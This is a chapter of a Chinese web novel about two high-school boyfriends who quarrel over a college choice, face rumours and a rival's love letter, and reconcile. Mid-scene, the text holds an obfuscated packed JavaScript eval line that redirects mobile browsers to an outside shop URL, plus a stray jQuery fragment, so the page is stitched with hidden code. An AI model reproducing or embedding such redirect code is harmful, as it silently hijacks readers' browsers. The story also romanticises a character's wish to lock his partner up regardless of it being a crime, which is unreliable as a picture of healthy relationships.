圣诞节过后,日子像被按了快进键。

    虞涟每天趴在沙发那头的毛毯里背单词时,易倦就坐在旁边看战术视频,偶尔伸手把人捞起来抽查几道数学题。

    有时虞涟学得烦了,就戴上帽子躺在易倦腿上装死,结果通常是被捏着后颈拎起来继续学。

    奥利弗对此评价是:“虞涟,你的家长也太恐怖了。”

    虞涟说:“还好了,他只是担心我考不好。”

    “你被CPU了。”奥利弗痛心疾首。

    听到这句话的易倦顺脚把奥利弗踹出家门,那之后的某天晚上,虞涟在平板电脑上翻学校资料。

    他看了几所学校的艺术学院,其中有一所他越看越喜欢。

    加州圣芭芭拉,海边,阳光充沛,艺术氛围浓厚,更重要的是他喜欢的视觉传达系在业界评价很不错。

    虞涟查了那个专业的教授名单、课程表、学生作品集,越看越觉得“就是这里了”。

    ——唯一的缺点是这学校离易倦的太远了。

    这缺点实在太过致命。

    于是虞涟只偷偷在表格里给这所学校标注了一颗星。

    结果他忘了清后台,第二天易倦拿他平板时,跳出来的就是那所学校的申请页面。

    虞涟当时正在厨房烧水,发现易倦客厅正拿着平板打游戏却突然安静下来,心里就咯噔一下。

    他想起昨天自己做的表格了。

    他探头望过去,看到易倦窝在沙发里,一条腿曲着,另一条腿伸得老长,左手拿平板,右手指尖在屏幕上点了一下。

    “加州大学圣芭芭拉分校。”易倦慢慢念道,“你打算去这?”

    虞涟轻声说:“我还在看。那所学校艺术系挺好的。”

    “有多好?”易倦抬起眼皮看他,目光很淡。

    “就是=挺适合我的。”虞涟说。

    “加州。”易倦重复,然后笑了笑,“够远的。”

    虞涟张了张嘴,还没说话,易倦已经把平板放回茶几上,靠进沙发里闭起眼睛,像是不打算再继续谈下去。

    “我的意思是,我先看看,还没决定。”虞涟轻声补充,“而且离德州也没有那么远。”

    易倦像是被逗笑了,眼睛微微睁开一点:“从德州农工到圣芭芭拉,飞机要三个小时。你觉得很近?”

    “不近。”虞涟老老实实说,“但是如果你不想我去,我可以——”

    “别。”易倦打断他,“别说这种话。”

    虞涟站在原地,攥着围裙角,嘴唇动了动,终究没说出什么。

    易倦沉默了一会儿,从沙发上站起来,抓起外套和车钥匙就往外走。虞涟追了两步,问:“你去哪?”

    “出去一趟。”易倦头也不回,“晚上不用等我吃饭。”

    门在身后关上——正常的声音,并不是摔门。

    虞涟看了看茶几上那扇亮着的平板屏幕,加州阳光闪耀的校园宣传照还停在页面上。

    他也有点生气了。

    虞涟决定不准备惯着易倦,扑腾了一下直接给奥利弗发消息。

    他知道易倦每次闹脾气时,一般而言就是去找了奥利弗。

    属于是固定NPC了。

    果不其然,奥利弗回了一张照片:公寓的篮球场。照片里易倦光着上身在练投篮,红头发汗得贴在额角,脸臭得像谁欠了他几百万。

    虞涟看到奥利弗发来的照片后,抿了抿嘴,没有回复。

    他把平板电脑的屏幕按灭,走到冰箱前站了一会儿,又走回客厅。

    公寓忽然变得空荡荡的,像被人抽走了什么。

    虞涟拿起手机,犹豫了一下,最终没有给易倦发消息。

    晚上十二点,门响了。易倦回来了。

    虞涟闭着眼睛装睡,听见脚步声从玄关一路走过来,在卧室门口停了一下,然后转去了浴室。

    水声哗啦啦响了大概十分钟,然后门被推开,床垫微微下沉,带着熟悉沐浴露味道的人躺了进来。

    没有像往常一样把手伸过来。也没有像往常一样把他捞进怀里。

    两个人并肩躺着,中间隔着大概半个手臂的距离。

    虞涟在黑暗里睁着眼睛,心想,这就算吵架了吧。

    第二天早上,虞涟慢吞吞地洗漱完走出卧室,看到易倦坐在餐桌旁,手里拿着手机,面前放着两杯咖啡,其中一杯是给他的。

    “谢谢。”虞涟小声说。

    “嗯。”易倦没抬头。

    虞涟在对面坐下,端起咖啡喝了一小口。牛奶加得刚刚好。

    是易倦的习惯,给他做咖啡的时候永远会多放一份奶。

    他偷偷看了眼易倦,大概懂了。

    他们现在处在吵架但不是完全吵架的一个薛定义的状态。

    去学校的路上,他们什么都没说。

    到了学校,易倦照例把车停进专属车位。虞涟解开安全带去推车门,易倦坐在驾驶座上没动,说了一句:“放学我来接你。”

    虞涟动作顿了一下,点头:“好。”

    他关上车门,背着书包往教学楼走。

    身后传来易倦关门、锁车的声音,然后是熟悉的脚步声,不紧不慢地跟在他身后几步远的地方。

    两个人一前一后走进教学楼,和从前易倦揽着他一起走的样子判若两种状态。

    第一节课下课,奥利弗就在储物柜区域把虞涟截住了。

    他靠在柜子上,双手插着口袋,表情复杂:“你跟以斯拉怎么了?”

    “没怎么。”虞涟打开自己的储物柜,把不用的书塞进去。

    “没怎么?”奥利弗上下打量他,“你们平时黏在一起恨不得缝到对方身上,今天怎么一句话不说?他昨晚睡沙发了?”

    “没有。”虞涟否定的很快。

    “那就是冷战了。”奥利弗一脸“果然如此”的表情,“为什么?因为大学的事?”

    虞涟关上柜门看向奥利弗:“你怎么知道?”

    “我猜的。”奥利弗摊手,“听以斯拉提过,他在帮你准备申请的事。你们能吵起来,也就这个了。怎么,你不想去德州?”

    “不是。”虞涟垂下眼睛,手指勾着书包带子,“是我想去的学校不在德州。”

    奥利弗沉默了两秒,然后吹了一个口哨:“哇,那这矛盾可不小。以斯拉那个人,从小到大没学会过‘让步’这两个字怎么写。”

    “我知道。”虞涟轻声道。

    “那你打算怎么办?就跟他这么僵着?”奥利弗兴致勃勃,他当然清楚知道他们俩绝对不会因为这个就分手。

    但最后如果是向来不会妥协的易倦妥协了,那就有意思了,他要去狠狠嘲笑。

    按照他的理解,这个概率应该是百分之九十九点九九。

    虞涟没说话。

    易倦是什么样的人,他再清楚不过。要是他坚持去加州,易倦也不会真的怎么样,以易倦的性格,估计最后只会冷着脸给他订机票,在那边给他把房子车子全部安排妥当,然后每两周飞一次。

    ……或者是每周?

    但那样的话,异地恋就会非常辛苦。

    他虽然对那所学校有点想法,但是易倦是最重要的,就像他之前说的,他宁愿去社区大学过渡一下也想待在他身边——虽然这句话稍微夸张了一点,但大体上是这样。

    可易倦坚持了自己的梦想,让他有点动摇。

    他本来就比不上易倦,如果随便选个学校,不是更比不上了。

    易倦对梦想的热爱感染到了他。

    自己要更好一点、再好一点才能配得上他啊。

    虽然虞涟知道对方完全不会这么想,但他就是会钻牛角尖。

    ……总之,烦死了。

    奥利弗看着虞涟的表情,叹了口气,拍了拍他的肩膀:“既然你俩都有自己的脾气,那就让子弹先飞一会儿。但我得跟你说,他除了对你,我没见过他为谁难受成那样。”

    他的话非但没有让虞涟开心,反而让虞涟更难受了。

    接下来几天,两人之间这种沉默的氛围越来越明显。

    易倦还是会送他上下学,但两个人在车上的话题几乎没有。

    他们之间就像隔着一层薄冰,谁也没有先伸手去砸。

    于是很快,圣格尼斯高中的匿名论坛上开始出现一些风声。

    【标题】你们觉不觉得国王和虞涟好像出了点问题?

    【主楼】以前每天都能看到他们黏在一起,现在他们连并排走都不太有了。今天早上去学校的路上看到他们从车上下来,全程没说话,气氛冷得我隔着五十米都能感到。

    【2L】应该是吵架了吧。情侣总有些摩擦的,没什么。

    【3L】哈,这种组合怎么可能长久,一个是学校金字塔顶的King,一个只是个不知道从哪里冒出来的亚洲人。真当自己灰姑娘了?

    【4L】楼上真下头,又开始阶级论了。

    【5L】不会分了吧?不要啊,我还没嗑够呢。公主抱那一幕都上校报了,怎么可以分手!

    【6L】分手就对了。我就说这两人不搭,国王迟早会回到正轨,随便找哪个有钱有胸有腿的正经女生都比那个强。

    【7L】有什么好吵的,等King自己出来说话不就行了。但我打赌他们分不了,以斯拉对虞涟什么态度你们没看到吗,那眼神比他对橄榄球都认真。

    【8L】三天了,论坛最热帖子还是这个,挺好笑的。圣格尼斯真没别的瓜了。

    ……

    奥利弗当然也看到了。

    周四训练完,更衣室里人走了大半,奥利弗拎着毛巾走到易倦旁边坐下,压低声音:“论坛上传你和虞涟分手了,你不打算管管?”

    “管什么?”易倦正低头缠手上的运动绷带。

    奥利弗笑了:“你以前不是最烦别人乱传你的事吗?现在满学校都在编排你俩,你倒无所谓了。”

    “只要我们知道没分。”易倦把绷带缠好,五指屈伸了两下,“别人爱怎么想都行。”

    “嚯。”奥利弗靠在柜子上,用毛巾擦头发,“行啊,以斯拉,恋爱谈得思想境界都升华了。那虞涟呢,他知道吗?”

    易倦的动作停了一拍,然后又继续:“反正,我跟他之间的事,外面的人说了不算。”

    比起吵架,其实他们都知道对方只是憋着一股不明不白的气而已。

    分手?万万不可能。

    他不会提,虞涟也不会。

    要是虞涟真说了……那易倦会直接把人锁在自己身边。

    字面意义,物理意义上的锁。

    你说这是犯罪?

    笑话,他会怕这个。

    奥利弗自然不知道易倦的心理活动,他耸了耸肩:“行吧,你心里有数就好。”

    然而事实是,谣言愈演愈烈。

    到了下周,不仅论坛上在传,连走廊上都有人开始窃窃私语。

    低年级的学妹们凑在一起,语气里带着遗憾和窃喜各半。甚至有几个女生开始重新出现在易倦周围,蠢蠢欲动地刷存在感。

    虞涟对这些心知肚明。他穿过走廊时,目光偶尔会扫过那些聚在一起讨论的人。他没有停留,也没有解释。

    但他注意到,最近总有一个女生出现在易倦的储物柜附近。

    和易倦同一个年级的。

    叫索菲亚,是隔壁班的班花。

    金发,身高大概一米七三,脸长得像某个美剧里的女主角。穿着打扮永远得体,不夸张也不廉价,属于那种在年级里有固定追求者但从不答应任何人的类型。

    索菲亚开始连续几天“偶遇”易倦。有时候是在饮水机旁边,有时候是在图书馆门口,有时候是在易倦去训练场的路上。

    虞涟这天正趴在二楼的栏杆上等人。

    他本来是打算等易倦一起回家,结果看到教学楼中庭里,索菲亚手里拿着一封信,挡在易倦面前。

    粉红色的信封,上面用胶带贴了一个小爱心。

    很显然,这是情书。

    易倦低头看着索菲亚,眉头微皱,是他不耐烦时惯有的样子。

    易倦嘴唇正要说什么拒绝的话,旁边就插进来一个声音。

    “同学,你拦错人了。”虞涟不知道什么时候已经跑到了中庭,他站在易倦旁边,并没有把视线给那个女人,反而对着易倦扯出微笑。

    索菲亚看向虞涟,脸上的表情从紧张变成了不满,最后定格在一种被冒犯的倨傲上:“你是虞涟?”

    “我叫虞涟,你好。”虞涟很有礼貌。

    “我知道你。”索菲亚把信收回来,换了一种微笑,语气陡然一转,“最近学校都在说你们已经分手了,所以我觉得应该没有打扰到谁才对。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883950|209444||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说完,她又看向易倦,似乎在等易倦做些什么。

    但易倦只是站在那里,手插在口袋里,垂着眼皮看虞涟,表情像是在等看戏。

    这家伙最近一直对自己不冷不热的,应该不会给自己解围。

    虞涟心里微微发堵,但也知道这何尝不是一种任由他发挥的信号。

    “那你听说的确实有点多。”虞涟边说边往易倦身边靠了靠,伸手很自然地勾住对方的小指,“我们没分手。他就是闹小脾气,过两天就好了。是不是,易倦?”

    易倦看了他一眼,没说话,但也没甩开手。

    索菲亚看到他们交扣的小指,脸色变了。

    她又往前迈了一步,声音拔高了一点点:“你算什么东西?我听说你连学费都付不起,食堂的免费汤都喝了两个月。像你这种人,也好意思缠着易倦?”

    虞涟脸上笑容没变,眼底却已经开始泛起一点冷光。他刚准备开口,就感觉到被勾住的那根小指忽然抽了出去。

    紧接着易倦上前一步,把虞涟挡在了身后。

    “你刚才说什么?”他问索菲亚,声音不大,甚至可以说很平静。

    但这种平静,比发脾气还要可怕。

    索菲亚的表情僵了一下,但还强撑着:“我说的是事实。他本来就……”

    “你再说一个字试试。”易倦打断她,“你觉得自己家有几个钱就有资格说这些话?你那个当基金经理的爸去年和我家的基金合作,求着别撤资的时候,姿态和你说他学费付不起的样子差不了多少。”

    他每说一句,索菲亚的脸就白一分。

    “这封东西。”易倦指了指她手里攥着的粉色信封,表情淡漠,“我不需要,也不想看。以后别让我看到你在他旁边转。我上次让人滚的时候,一般只说一遍。”

    索菲亚的嘴唇在发抖,但一句话也说不出来。

    易倦转过身,抓住虞涟的手,往教学楼外走。

    “你不是不理我吗。”虞涟说。

    易倦没说话。

    “你刚才好帅。”虞涟又说。

    “闭嘴。”易倦道。

    “你明明就心疼我。”虞涟继续说,语气里带着一点得寸进尺的雀跃。

    易倦猛地停下脚步,转过来看着他:“你再装,信不信我现在把你拎回车上。”

    虞涟看着他的眼睛,忽然笑了出来。他伸手去扯易倦的袖子:“那我们现在回家吗?”

    “回家。”易倦没好气,但抓着虞涟手腕的力道已经松了,改为牵着。

    车开出去十分钟,易倦没往公寓的方向拐。

    “去哪?”虞涟问。

    “吃饭。”易倦目视前方。

    车最后停在一家中餐馆门口,招牌是手写的繁体字。

    “这家。”易倦熄火,下车。

    虞涟跟着下来,站在门口怔了一下:“这家很贵。”

    “我请。”易倦瞥了他一眼,“现在能闭上嘴进去了吗?”

    中餐馆的菜不错。易倦也难得没有摆谱,认真地吃饭。

    吃到一半,他忽然开口:“你去看过那所学校的课表了吗?”

    虞涟放下筷子,看着易倦:“看过了。他们视觉艺术系有一门作品集工作坊,每年只收二十个人。教授做过MoMA的展览。我是真的觉得适合我。”

    易倦夹了一筷子菜放进他碗里,没看他:“那你去。”

    虞涟愣住。

    “我说,你去。”易倦放下筷子,看着他,“你不是很喜欢吗?就去那所学校。我查过了,虽然离德州不近,但圣芭芭拉有直飞休斯顿的航班。飞行时间三小时二十分。我可以每两周去看你一次。等以后进了NFL,休赛期我搬去加州。没什么解决不了的。”

    虞涟喉咙发紧:“你什么时候查的?”

    “你还在纠结要不要去的时候。”易倦说,“而且,我生气的点不是你要走。我是在气我自己。我习惯什么都提前给你安排,但现在你的路,得你自己选。”

    虞涟愣愣地听完,半天没说话,最后伸手挡住了眼睛。

    易倦叹了口气,爱哭鬼,他抽了张纸塞进他手里:“擦擦,丑死了。”

    虞涟接过纸,胡乱在脸上抹了两下,闷声道:“你还没说呢。”

    “说什么?”

    “说你别难过,说你没生气,说你会想我。”虞涟抬起眼,鼻尖红红,“你都不会哄我。”

    易倦伸手,越过餐桌捏住他的脸,命令道:“那今天回去,把加州那所学校的申请表填了。学费我出。周末回来,或者我去,所有机票钱我全包。你如果不按时吃饭,不接电话,不去上课,我就直接飞过去把你拽回来。”

    “就这些吗?”虞涟眼睛弯起来。

    “还有。”易倦看着他说,“不准在那里给我招蜂引蝶。”

    虞涟朝他吐了吐舌头:“只准你收情书?”

    话说这家伙的受欢迎程度真的……加上之前啦啦队的两个,这已经是第三个在他面前直白对易倦示好的,虽然对方是以为他们已经分手了。

    虞涟开始后知后觉担心这位分开之后的招蜂引蝶程度了。

    嘛,不过信心也是有的。

    “所以,吃醋了?”易倦心情很好地弯起唇角。

    “吃醋了,气到想当场跟她打一架。但我想,我不能输,我要用我的方式把易倦抢回来。”虞涟攥了攥筷子,“易倦,我知道是我先看别的学校的。我跟你道歉。但我不会说对不起,因为我真的很想去。”

    “没人让你说对不起。”易倦招手叫了服务员买单。

    回家的路上,车里安静了一小会,易倦突然低声说:“今天索菲亚的事,不会再有了。”

    虞涟偏过头看他。

    “我会发消息给学校的公告账号,让新闻社发一条正式的订婚澄清。”易倦啧了一声,自己都觉得自己有毛病,“算了,太中二了。”

    “但是我想看。”虞涟眼睛亮晶晶。

    易倦趁着红灯,伸手把他往自己这边拽了拽,在他唇上亲了一下。

    “这样澄清行不行?”他问。

    虞涟红着脸笑了出来。

    第二天,圣格尼斯高中那些关于分手、第三者、情书之类的流言,在易倦下车时主动牵住虞涟的手走进校门后,不攻自破。

    学校里的人开始意识到,这两人之间,外人是插不进去的。